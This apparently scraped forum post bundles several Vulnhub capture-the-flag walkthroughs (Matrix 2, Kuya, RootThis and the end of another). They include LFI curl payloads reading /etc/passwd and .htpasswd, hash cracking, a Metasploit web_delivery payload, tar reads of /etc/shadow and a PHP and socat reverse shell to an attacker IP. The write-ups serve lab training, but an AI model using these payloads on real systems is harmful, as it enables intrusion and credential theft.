Then we look for it using searchsploit. The exploit we have used is highlighted, after that, we have copied the exploit 5622 in the /root directory and read the contents in it.
searchsploit -m 5622
cat 5622.txt
1
2
searchsploit -m 5622
cat 5622.txt
After reading all the contents of the file, it got cleared on how to use this tool. Since there is a GitHub link from where we have to download this tool and follow further instruction given. Basically, this tool will help us in cracking the public key.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-PRV6K_mJn-Q/XHgXrqkSPoI/AAAAAAAAdJ8/M__vBJRcE6g6LQu5oswXAgFFnWoK2dr7wCLcBGAs/s1600/11.png?w=687&ssl=1)
When we read the contents of the public key found earlier, it came out to be base-64 encoded SSH public key.
cat mykey.pub
1
cat mykey.pub
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-gQpn2mLx-p8/XHgXsY2NSkI/AAAAAAAAdKI/ThQpC1hdBhY6fZ8G8P0IT53HmH-aGthrgCLcBGAs/s1600/12.png?w=687&ssl=1)
After downloading the tool from the GitHub link. We have used that tool to decode the base-64 encoded public key and we got success in doing it. The decoded key is highlighted.
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-_ty6Bp0fKkk/XHgXskMuYQI/AAAAAAAAdKM/ej04KIsSkmArF5n_ZSVe0Lms6AC1SGPAwCLcBGAs/s1600/13.png?w=687&ssl=1)
It’s time to log into SSH using the public key and the username as n30.
ssh -i 4161de56829de2fe64b9055711f531c1-2537 [email protected]
1
ssh -i 4161de56829de2fe64b9055711f531c1-2537 [email protected]
On enumerating the directories, we found two files code and user.txt. Let’s read the contents of user.txt.
cat user.txt
1
cat user.txt
When we checked the file type of code, it came out to be a python compiled file. Let’s copy it to /var/www/html by this we can download this file on our system.
file code
cp code /var/www/html
1
2
file code
cp code /var/www/html
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-A0PI1fs7e-k/XHgXtBK7R7I/AAAAAAAAdKQ/I455hawjbD8zgyVHVe288B6qiTmDyy_GQCLcBGAs/s1600/14.png?w=687&ssl=1)
We have downloaded the file on our system and moved it into code.pyc because it’s a python compiled file and online python-decompiler only takes input in .pyc format. That way we can easily decompile this file.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-1NF-4D_JEvY/XHgXtmIzKoI/AAAAAAAAdKY/E1_IrTVdUUk3yPNC4DAXbPDdb1d9vEMPgCLcBGAs/s1600/15.png?w=687&ssl=1)
On decompiling, the file using online python-decompiler gave us very useful credential i.e
Username- n30
Password- dMASDNB!!#B!#!#33
1
2
Username- n30
Password- dMASDNB!!#B!#!#33
It a little to figure out it.
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-1HpenJ7m40U/XHgXtkGtMjI/AAAAAAAAdKU/oJmIJjMmjnkkElGTY0weY6jBYCNqEie6ACLcBGAs/s1600/16.png?w=687&ssl=1)
Let’s check if n30 has security privileges. So when we did check it asked for a password, here we have given the password found earlier from decompiling.
sudo -l
1
sudo -l
Booyah!! We have got the root access. Time to read the contents of our final flag.
sudo -i
ls
cat root.txt
1
2
3
sudo -i
ls
cat root.txt
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-OS0DiGaC19g/XHgXt6agbhI/AAAAAAAAdKc/eqswc3B3I_UnDhCX6E0B4ecDsypPxThjQCLcBGAs/s1600/17.png?w=687&ssl=1)
Today we are going to solve another Boot2Root challenge “Matrix 2”. It is another vulnerable lab presented by vulnhub for helping pentester’s to perform penetration testing according to their experience level. This vulnerable lab can be downloaded from [To see content please register here] .
Difficulty: Intermediate
Penetrating Methodologies:- Network scanning (Nmap)
- Surfing HTTP service port (80)
- Surfing HTTPS service port (1337)
- Surfing HTTPS service port (12320)
- Surfing HTTPS service port (12322)
- Browsing Directories on the browser
- Discovering LFI vulnerability.
- Enumerating through /etc/passwd file.
- Enumerating through /var/www/p4ss/.htapasswd file.
- Cracking password hash.
- Using Credentials to log into port 1337.
- Viewing Page source of Webpage.
- Find Hidden file using steghide.
- Using Credentials to log into port 12320.
- Creating Python exploit using Metasploit.
- Getting root access.
- Snagging the Root flag.
Walkthrough
Let’s start off with scanning the network to find our target.
nmap -p- -A 192.168.1.101
1
nmap -p- -A 192.168.1.101
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-o_YjO6RDE6k/XHfQN9GKQwI/AAAAAAAAdIQ/1f_vFXGF6SwPMu9QlNH5IcfB2mY0KgSGwCLcBGAs/s1600/1.png?w=687&ssl=1)
From nmap result, we observed that on multiple ports there is HTTPS service running except on port 80. We thought of exploring all the ports along with targets IP Address on the browser. Let’s see what clue we get to move ahead.
Firstly, we explored the Targets IP address on port 80 on the browser. It was not much of great help.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-LlQjewYvyuk/XHfQRt-lSXI/AAAAAAAAdJA/FaNSAJMBt-shudjRVnaI0nFNazUV_aSswCLcBGAs/s1600/2.png?w=687&ssl=1)
Secondly, we explored the Targets IP Address on port 1337 on the browser. Here we noticed it required authentication but we don’t know that. Moving on.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-KYLe2p4jSQs/XHfQRwBCeOI/AAAAAAAAdJI/wwwpEF2FLpECWAylzjDg-6xZFooXmpFPgCLcBGAs/s1600/3.png?w=687&ssl=1)
Thirdly, we explored the Targets IP Address over port 12320 on the browser. We noticed that it showed us a command shell which again is not much of great help. Moving Forward.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-MXqklLMe4O8/XHfQSQ7ieVI/AAAAAAAAdJM/mSf3E2hig3Ia6ek9hwKMRr2xkYRuHkVfwCLcBGAs/s1600/4.png?w=687&ssl=1)
Fourthly, we explored the Targets IP Address over port 12322 on the browser. The webpage opened didn’t come out to be much useful. But what draws our attention is that we noticed two disallowed entry on port 12322 in the nmap scan result. On exploring the first entry robots.txt, we found another disallowed entry i.e file_view.php.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-WH-z0weAsU8/XHfQSm4970I/AAAAAAAAdJU/rxPPxRKNVFQxP1hJ44Mf0c92TmihL-gDQCLcBGAs/s1600/6.png?w=687&ssl=1)
When we explored the entry file_view.php along with Targets IP Address, it opened a blank webpage which made us curious about it. So, when we checked the View Page Source, there we saw the page is sending a GET Request. After spending some time thinking, we decided to use curl for exploiting LFI vulnerability for obtaining /etc/passwd file. Here we saw two credentials n30 and Neo, they might come in handy.
curl -X POST –k [To see content please register here] -d "file=../../../../../etc/passwd"
1
curl -X POST –k [To see content please register here] -d "file=../../../../../etc/passwd"
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-IMFwH5y4TSY/XHfQTOaxNbI/AAAAAAAAdJY/0rfPom298UYobrNF4n2rhyZC3xZ7-u9MwCLcBGAs/s1600/8.png?w=687&ssl=1)
Here, we found another directory /var/www/p4ss/.htpasswd which might be useful.
curl -X POST -k [To see content please register here] -d "file=../../../../../etc/nginx/sites-available/default"
1
curl -X POST -k [To see content please register here] -d "file=../../../../../etc/nginx/sites-available/default"
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-vxKc14RlURQ/XHfQTqJPOBI/AAAAAAAAdJc/Dv6mM7k5PloS5INxgnYlM6bCAfvTXqC5wCLcBGAs/s1600/9.png?w=687&ssl=1)
After getting another directory, We used curl to exploit LFI vulnerability to obtain the contents of /var/www/p4ss/.htapasswd by using the command.
curl –X POST –k [To see content please register here] -d "file=../../../../../var/www/p4ss/.htapasswd"
1
curl –X POST –k [To see content please register here] -d "file=../../../../../var/www/p4ss/.htapasswd"
This result gave us a HASH. Time to bring john up.
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-LqhE0_p26yo/XHfQNydxYeI/AAAAAAAAdIU/WXuAYZKaLtU0pCgjrgKXFragK6da5mCogCLcBGAs/s1600/10.png?w=687&ssl=1)
We have used John to crack the hash.
john hash --wordlist=/usr/share/wordlists/rockyou.txt
1
john hash --wordlist=/usr/share/wordlists/rockyou.txt
It gave us a Username and Password i.e admin & Tr1n17y
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-vNCwIB_Vzak/XHfQNxswfzI/AAAAAAAAdIY/WUhE1k6_KecNaQ80uExrOxAYE55x4yEoACLcBGAs/s1600/11.png?w=687&ssl=1)
Let’s use these credentials to log into port 1337 along with Targets IP Address on the browser.
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-G5fU8xmppWI/XHfQOtW6wJI/AAAAAAAAdIc/qdNO2B2fqo4jzv30UWd-v-PJRqEmC7zIQCLcBGAs/s1600/12.png?w=687&ssl=1)
The webpage showed a name n30 which can be used as a credential later on. On exploring the View Page Source of the webpage showed us a hidden image h1dd3n.jpg.
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-HWqZFSNWOtE/XHfQPZUCjoI/AAAAAAAAdIk/yDVWXm82yr0wz-7ttIPtsAzivQXyvyVqQCLcBGAs/s1600/14.png?w=687&ssl=1)
When opening the image h1dd3n.jpg on the browser. The result is shown in the image below.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-OQIXNuZp5oU/XHfQPzxD9eI/AAAAAAAAdIs/IQet9x_4aHk7AKdClnumcJdimReaEGW1gCLcBGAs/s1600/15.png?w=687&ssl=1)
We have used a tool called “steghide” to find if there is any file hidden inside the image and find a hidden text file called “n30.txt”. We extract the file and opened it which gave us a password i.e P4$$w0rd.
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-Xa2fp_1Ln6E/XHfQPxs8hVI/AAAAAAAAdIo/-qoK2E529ZEwgCHgSuH0qAZLBQtjQbYIgCLcBGAs/s1600/16.png?w=687&ssl=1)
Let’s login to port 12320 using targets IP Address by using Credentials as.
Username: n30
Password: P4$$w0rd
1
2
Username: n30
Password: P4$$w0rd
![[Image: 17.1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-8ZbnQTpH898/XHfQQFQLQjI/AAAAAAAAdIw/WCLVhYq-KDcJDkdZuQHQNfzfJaimMHiwgCLcBGAs/s1600/17.1.png?w=687&ssl=1)
After making sure python is running on the machine. We have created a python exploit using Metasploit.
use exploit/multi/script/web_delivery
set lhost 192.168.1.107
set srvhost 192.168.1.107
exploit
1
2
3
4
use exploit/multi/script/web_delivery
set lhost 192.168.1.107
set srvhost 192.168.1.107
exploit
Let’s copy the command created and paste it on the target machine.
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-v5RTNx0V4v8/XHfQQoM6n4I/AAAAAAAAdI0/twjg6ZpfWsEJhnq74OF4QC6EmSF-35EGQCLcBGAs/s1600/17.png?w=687&ssl=1)
Let’s copy the command created and paste it on the target machine.
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-67MgWeeF4uI/XHfQQyASoSI/AAAAAAAAdI4/6QtFkjCV_ZsRK6AA_vPkqCFXHeh-ZSE9gCLcBGAs/s1600/18.png?w=687&ssl=1)
After obtaining meterpreter, we have explored the directories. Here we found a file .bash_history which contains some commands. These commands can be useful to get root access, let’s save them for later use.
ls
cat .bash_histroy
1
2
ls
cat .bash_histroy
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-zW-5dtNW7T8/XHfQRCfJnAI/AAAAAAAAdI8/EwVRa_2itJofugb9_bK2NCPy3vQ3OmjNwCLcBGAs/s1600/19.png?w=687&ssl=1)
Let’s get back to the meterpreter and use the command we have obtained earlier.
Booyah!! We have got the root access. Time to read the flag.
shell
id
morpheus 'BEGIN {system("/bin/sh")}'
id
cd /root
ls
cat flag.txt
1
2
3
4
5
6
7
shell
id
morpheus 'BEGIN {system("/bin/sh")}'
id
cd /root
ls
cat flag.txt
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-aPBcIyjs04U/XHfQR8YEwBI/AAAAAAAAdJE/F0FvYpcOI20PixY2S5n5IM3uYBjxICxVACLcBGAs/s1600/20.png?w=687&ssl=1)
Today we are going to solve another CTF challenge “Kuya”. It is another vulnerable lab presented by vulnhub for helping pentester’s to perform penetration testing according to their experience level. This vulnerable lab can be downloaded from [To see content please register here] .
Level: Medium
Task: To find three flags hidden in the whole application
Penetrating Methodology- Machine discovery and scanning(netdiscover, nmap)
- Surfing HTTP service port(80)
- Directory enumeration using dirbuster
- Extract steganographic content using steghide
- Extract file from a pcapng file using Wireshark
- Extract and decrypt hashes using John the Ripper
- Check contents of system-wide configuration files for credentials
- Privilege escalation using tar
Let’s start off with discovering the IP address of our VM
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-p5Q648Lre_w/XHel_RkYj0I/AAAAAAAAdG0/SHMKM6VQ8UEWactzkQclKoc-wYO9wyS9ACLcBGAs/s1600/1.png?w=687&ssl=1)
Then we’ll continue with our basic Nmap command to find out the open ports and services. Here we’ll find port 22 and 80 open.
nmap -p- -A 192.168.0.16
1
nmap -p- -A 192.168.0.16
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-bydi8vE5Myg/XHemCqyswfI/AAAAAAAAdHc/fddmG14a_6oZmqs5Tc5_aEE4Tgu6k9bxwCLcBGAs/s1600/2.png?w=687&ssl=1)
Once we get the idea of the existence of a web application, we’ll browse it on a browser
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-earnhg29FP0/XHemC_cSDOI/AAAAAAAAdHg/nlqBPHmopQMMGFhouGlirTGzhyevJGkXgCLcBGAs/s1600/3.png?w=687&ssl=1)
We’ll use dirbuster to brute force the directories of the web application.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-O4lcxkiYFT0/XHemDGZ1eHI/AAAAAAAAdHk/wu7atYLm64Q__IWweWYgbk__PF7B9_SlQCLcBGAs/s1600/4.png?w=687&ssl=1)
We’ll browse the directories one-by-one only to find that “loot” is the only helpful directory
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-vjP3YbmUbYI/XHemDUbR72I/AAAAAAAAdHo/MkBxvIsHo6g3n-Odyb8KegPLZNK8KEwLQCLcBGAs/s1600/6.png?w=687&ssl=1)
We’ll download all the images and use steghide to discover the hidden content beneath the images.
steghide extract -sf 1.jpg
steghide extract -sf 2.jpg
steghide extract -sf 3.jpg
steghide extract -sf 4.jpg
steghide extract -sf image.jpeg
1
2
3
4
5
steghide extract -sf 1.jpg
steghide extract -sf 2.jpg
steghide extract -sf 3.jpg
steghide extract -sf 4.jpg
steghide extract -sf image.jpeg
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-ZaqaCc1XR1s/XHemD7sI07I/AAAAAAAAdHs/ezUzuo4kngsqz_Tt6Aefxg58_FtyfKUhgCLcBGAs/s1600/7.png?w=687&ssl=1)
Now, we’ll try to read the files, “secret.txt” there contained a base64 encoded string. Once decoded, it would give a string, not very useful.
cat secret.txt
1
cat secret.txt
We’ll check the emb.txt, we get the brainfuck encrypted text
cat emb.txt
1
cat emb.txt
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-oNQZYTjYP1s/XHemDwNNYjI/AAAAAAAAdHw/e1CoWLGEtlM9gZYelrSDt19GAZYvOgO4QCLcBGAs/s1600/8.png?w=687&ssl=1)
Once decrypted, the brainfuck encryption gave us the result and our first flag
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-ryR6OILXjqk/XHemEW7qU0I/AAAAAAAAdH0/fT-MXVe-XowFY44eo_0DnkFoFY1i_XGPQCLcBGAs/s1600/9.png?w=687&ssl=1)
We’ll open the “loot.pcapng” file with Wireshark to check the communication and there we found the record of GET and POST request for downloading a file along with the file byte in the 11th packet. Once selecting the packet we’ll go to File > Export Objects > HTTP and then save the 7z file.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-I4KlZIrZDF4/XHel_eLWvbI/AAAAAAAAdG4/hcS5TN-V-YANDmAeBND0QRND9E4G_gw1ACLcBGAs/s1600/10.png?w=687&ssl=1)
When we tried to open and extract the file contents, it asked for a password so we’ll use 7z2john.pl to get the hash value from the 7z file and use john the ripper to crack it using the rockyou.txt wordlist. Here, we get the password “manchester” for the 7z file.
./7z2john.pl loot.7z > 7zhash
john 7zhash --wordlist:/usr/share/wordlists/rockyou.txt
1
2
./7z2john.pl loot.7z > 7zhash
john 7zhash --wordlist:/usr/share/wordlists/rockyou.txt
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-tHTsl_mfrbE/XHemAI4YUjI/AAAAAAAAdHA/DiuzFBoR7z4zwXaq2WEEOBgOotAKA8tCgCLcBGAs/s1600/12.png?w=687&ssl=1)
We’ll again try to extract the contents of the 7z file, providing the password we found out about the two key files found
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-2_QznORW6yY/XHel_fLX9cI/AAAAAAAAdG8/r-4Hx-u1veoLcgzxsTFm06pjpyNCQ_MlACLcBGAs/s1600/11.png?w=687&ssl=1)
Again, we move back to john the ripper, this time we’ll use ssh2john.py script to get the hash value from the id_rsa file, then we’ll use john to crack the hash using rockyou.txt as wordlist. The password decrypted as “hello”
python ssh2john.py id_rsa > id_rsa.hash
john id_rsa.hash --wordlist:/usr/share/wordlists/rockyou.txt
1
2
python ssh2john.py id_rsa > id_rsa.hash
john id_rsa.hash --wordlist:/usr/share/wordlists/rockyou.txt
Then we wanted to know the username so we head towards id_rsa.pub to check the contents and discover the username in the end of the file. The username came out as “test”.
cat id_rsa.pub
1
cat id_rsa.pub
Now we have the username and the private key along with the password, let’s try to connect to SSH
ssh -i id_rsa [email protected]
1
ssh -i id_rsa [email protected]
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-XKmGdsRUfP4/XHemAyQyqBI/AAAAAAAAdHE/OXtesHyqkSsoedb_fYONv6p1ILXz-txkACLcBGAs/s1600/13.png?w=687&ssl=1)
After getting a shell, first we’ll check the files, in the .ssh directory, we will find a sshscript.sh file having our second flag.
Then we’ll move to /var/www/html /wordpress directory to look out for configuration files and we found a file wp-config-sample.php
cd .ssh
ls -la
cat sshscript.sh
cd /var/www/html/wordpress
ls –al
1
2
3
4
5
cd .ssh
ls -la
cat sshscript.sh
cd /var/www/html/wordpress
ls –al
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-_-ff_gVRvUI/XHemBTW86lI/AAAAAAAAdHI/1QboyVkiwDAt90-c5qWoJEsxMewrgynVwCLcBGAs/s1600/14.png?w=687&ssl=1)
Use more command along with the cat command to display the complete contents of the config file.
cat wp-config-sample.php |more
1
cat wp-config-sample.php |more
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-eSCZLxY-hr4/XHemBiIwaQI/AAAAAAAAdHM/lGaatM9m8-ofmx3SpbxDpnL_7VekrM55gCLcBGAs/s1600/15.png?w=687&ssl=1)
Once we get the credentials, use su to switch to a new user, now we tried to find files with sudo permissions, but no luck so we switch to the home directory of the new user and check the files. Here we have a hidden file with bash history named .bash_history having some useful information. It provides us with details about the use of getcap and setcap commands.
su kuya
find / -perm -4000 2>/dev/null
cd
ls
cat who_dis.txt
cat .bash_history
1
2
3
4
5
6
su kuya
find / -perm -4000 2>/dev/null
cd
ls
cat who_dis.txt
cat .bash_history
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-PnVNlSwByrs/XHemBqf4SZI/AAAAAAAAdHQ/DUii1X1mgbAdvZptln3L-TJJcPnEszcVgCLcBGAs/s1600/16.png?w=687&ssl=1)
In Linux, files can be provided with a capability to access specific files majorly critical files with specific permissions only; like a script file can be provided with the capability to read ssh configuration files or /etc/shadow file which can be done using getcap and setcap commands. For more information about this, look here([To see content please register here] )
In Linux, tar has the specific permission to read all files so here we will create a tar file of /etc/shadow and then extract that tar file to display the contents of the newly extracted copy of the original shadow file.
export PATH=/bin:/sbin:/usr/bin:/usr/sbin:$PATH
getcap -r / 2>/dev/null
tar -cvf shadow.tar "/etc/shadow"
tar -xvf shadow.tar
cat etc/shadow
1
2
3
4
5
export PATH=/bin:/sbin:/usr/bin:/usr/sbin:$PATH
getcap -r / 2>/dev/null
tar -cvf shadow.tar "/etc/shadow"
tar -xvf shadow.tar
cat etc/shadow
![[Image: 17.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-dmYN2bHL56A/XHemCGPWriI/AAAAAAAAdHU/Pd2UTUvwMO0ewF95oHOMav0zmfvQK8GlQCLcBGAs/s1600/17.png?w=687&ssl=1)
As we can open extract and archive files that need root permission. We can use the “tar” command to archive the entire “/root” directory as shadow.tar inside user kuya’s home directory. We then extract “shadow.tar” using tar command and are able to get the root directory. We go to the extracted root directory and find a file called “M3m3L0rd.txt”. We open the file and find the final flag.
tar cvf shadow.tar /root
tar xvf shadow.tar
cd root/
cat M3m3L0rd.txt
1
2
3
4
tar cvf shadow.tar /root
tar xvf shadow.tar
cd root/
cat M3m3L0rd.txt
|
|
|
|
| [Guide] How to Vulnhub: RootThis: 1 Walkthrough |
|
Posted by: NINZA - 05-14-2020, 11:46 AM - Forum: Carders Home
- No Replies
|
 |
Hello friends! Today we are going to take another boot2root challenge known as root this. The credit for making this VM machine goes to “Fred Wemeijer” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download this VM [To see content please register here] .
Security Level: Intermediate
Flags: There is one flag (flag.txt).
Penetrating Methodology: - IP Discovery using netdiscover
- Network scanning (Nmap)
- Surfing HTTP service port (80)
- Directory enumeration using dirb
- Getting Backup file using wget
- Cracking password using fcrackzip
- Cracking Hashes using John the Ripper
- Getting Reverse Shell
- Getting a proper TTY shell using socat
- Cracking root password using sucrack
- Retrieving flag
Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-0UyABN35Rn8/XHecx8p28BI/AAAAAAAAdFU/IQ3uP50bcUk5Ww9vSRHbpDUckJK82-MiQCLcBGAs/s1600/1.png?w=687&ssl=1)
We found our target –> 192.168.1.135
Our next step is to scan our target with nmap.
nmap -p- -A 192.168.1.135
1
nmap -p- -A 192.168.1.135
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-otibW4tG9Lg/XHec0PlTjOI/AAAAAAAAdF4/2IUIwC3k3o8B8wZ7uvcRhDZOtOqOzQwKwCLcBGAs/s1600/2.png?w=687&ssl=1)
The NMAP output shows us that there is only 1 port open: 80(HTTP)
We find that port 80 is running http, so we open the IP in our browser.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-iNSWM1RL3BA/XHec0bmP1lI/AAAAAAAAdF8/RHweAnGz1dAJA2eVuDW0oOpxDHykBNYBwCLcBGAs/s1600/3.png?w=687&ssl=1)
We don’t find anything on the webpage, so we use dirb to enumerate the directories on the web server.
dirb [To see content please register here]
1
dirb [To see content please register here]
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-9dmHzbxwaxw/XHec0V5JD2I/AAAAAAAAdGA/pV-xVMG0CAELv5zjiS8r4tKm7b_UTXRiACLcBGAs/s1600/4.png?w=687&ssl=1)
We find two interesting directories called “backup” and “drupal”. We open the “/drupal” directory and find a Drupal CMS login page. We are unable to login or find any vulnerability on the CMS.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-0e7IgkClbPE/XHec0hjelmI/AAAAAAAAdGE/6PJe8nydwPYmJb9ATIiRHkaHMx-Tlzu8wCLcBGAs/s1600/5.png?w=687&ssl=1)
We try to open the “backup/” directory and find that it is a file. So we use “wget” to download the file on our system. After downloading the file, we find that is a ZIP file. When we tried to extract it we are prompted for a password. To brute force, the password protected file we can use a tool called “fcrackzip”. After getting the password for the ZIP file we extract the data and find a SQL file.
wget [To see content please register here]
file backup
frackzip -D -v -u -p /usr/share/wordlists/rockyou.txt backup
unzip backup
cat dump.sql
1
2
3
4
5
wget [To see content please register here]
file backup
frackzip -D -v -u -p /usr/share/wordlists/rockyou.txt backup
unzip backup
cat dump.sql
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-Bpkeu_YZtCg/XHec0-Xr5oI/AAAAAAAAdGI/d7wM5weEFa8CoPbgpnM8ZvsgSmZq61fhgCLcBGAs/s1600/6.png?w=687&ssl=1)
Searching through the content of the SQL file, we find 2 usernames and their password hashes.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-O8rAGwnDRrk/XHec1FrI-KI/AAAAAAAAdGM/nOgUxGcOcIsdOqCaS4B2xqF3SvEvWKA0ACLcBGAs/s1600/7.png?w=687&ssl=1)
We save the hashes in a file and then use john the ripper to crack the hashes. We are successfully able to crack the hash and get the password for the user “webman”.
john hashes --wordlist=/usr/share/wordlists/rockyou.txt
1
john hashes --wordlist=/usr/share/wordlists/rockyou.txt
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-DS4Y6bqjl34/XHec1hGXJoI/AAAAAAAAdGQ/y0JrujHtY24n3HeRHLqA2KgGBtA4kn92ACLcBGAs/s1600/8.png?w=687&ssl=1)
We use the credentials “webman: moranguita” to login through Drupal CMS and are successfully able to login.
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-3VFQ67OekCo/XHec10XIbeI/AAAAAAAAdGU/DXLU6d5NOAc5TuHJ7hIrjougQyklTu78gCLcBGAs/s1600/9.png?w=687&ssl=1)
To get a reverse shell of the target system, we go to add content and add the following php code to get a revere shell:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.107/1234 0>&1'");
1
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.107/1234 0>&1'");
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-LZNJ7spAiaU/XHecyFWcJDI/AAAAAAAAdFY/P5mVXRfbigAO6cWGmppMnmrMardSXW48QCLcBGAs/s1600/11.png?w=687&ssl=1)
We set up our listener and as soon as we click on save on the CMS we get a reverse shell. Enumerating the target system; inside “/home/user” directory we find a file called “MessageToRoot.txt”. We open the file and find it has hinted that the root password is inside the first 300 words of the rockyou.txt. We try to “su” command and find that we don’t have a proper TTY shell to run the command.
We tried multiple ways to get a TTY shell, but are unable to spawn one with an available application on the target machine. So we upload socat on the target machine to get a TTY shell. (Download socat from [To see content please register here] )
wget [To see content please register here]
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.107:4567
1
2
wget [To see content please register here]
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.107:4567
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-f6bsEggSjig/XHecyjd7S-I/AAAAAAAAdFg/Mg0z4qkn2j0I4j3H28A66UvruJV8oe7xgCLcBGAs/s1600/13.png?w=687&ssl=1)
We start a listener on our local system and are able to get a reverse shell. We run “su” command and find that we are able to spawn a TTY shell.
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-W7x6mUjZ3WY/XHecy4wJNuI/AAAAAAAAdFk/HU7LloSz34kv5oH-Ei1m4_E38Z5lDIWOACLcBGAs/s1600/14.png?w=687&ssl=1)
Now we create a dictionary with the first 300 words of rockyou.txt.
head -n 300 /usr/share/wordlists/rockyou.txt > dict.txt
1
head -n 300 /usr/share/wordlists/rockyou.txt > dict.txt
![[Image: 15.1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-WtVPjgWFGBM/XHecywdjXYI/AAAAAAAAdFo/ZyKxza9Wi74gyROPdSw8F8x5QiEKdQ9mACLcBGAs/s1600/15.1.png?w=687&ssl=1)
Now as there is SSH running on the target machine, we cannot brute force the username and password. Instead, we can use a tool called “sucrack” that brute forces password locally through “su”. We download it in our system and extract it. Then we compile the application on our system as it is not C-compiler on the target machine. After compiling the application, we archive the compiled application to upload it on the target machine. (You can find more information about sucrack and download sucrack from [To see content please register here] )
tar -xvf sucrack-1.2.3.tar.gz
cd sucrack-1.2.3/
./configure
make
tar -cvf sucrack.tar sucrack-1.2.3/
1
2
3
4
5
tar -xvf sucrack-1.2.3.tar.gz
cd sucrack-1.2.3/
./configure
make
tar -cvf sucrack.tar sucrack-1.2.3/
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-MgaSRY_fk2I/XHeczYdk_1I/AAAAAAAAdFs/UFT5bEz7cnkdQVjJNyMZR-GxWNpduR0egCLcBGAs/s1600/15.png?w=687&ssl=1)
We upload the dictionary file and the compiled application on the target system. We first start our python HTTP server using “SimpleHTTPServer” module and then use “wget” command on the target machine to download it from our local system. After downloading both the files we extracted the tar file.
wget [To see content please register here]
tar xvf sucrack.tar
1
2
wget [To see content please register here]
tar xvf sucrack.tar
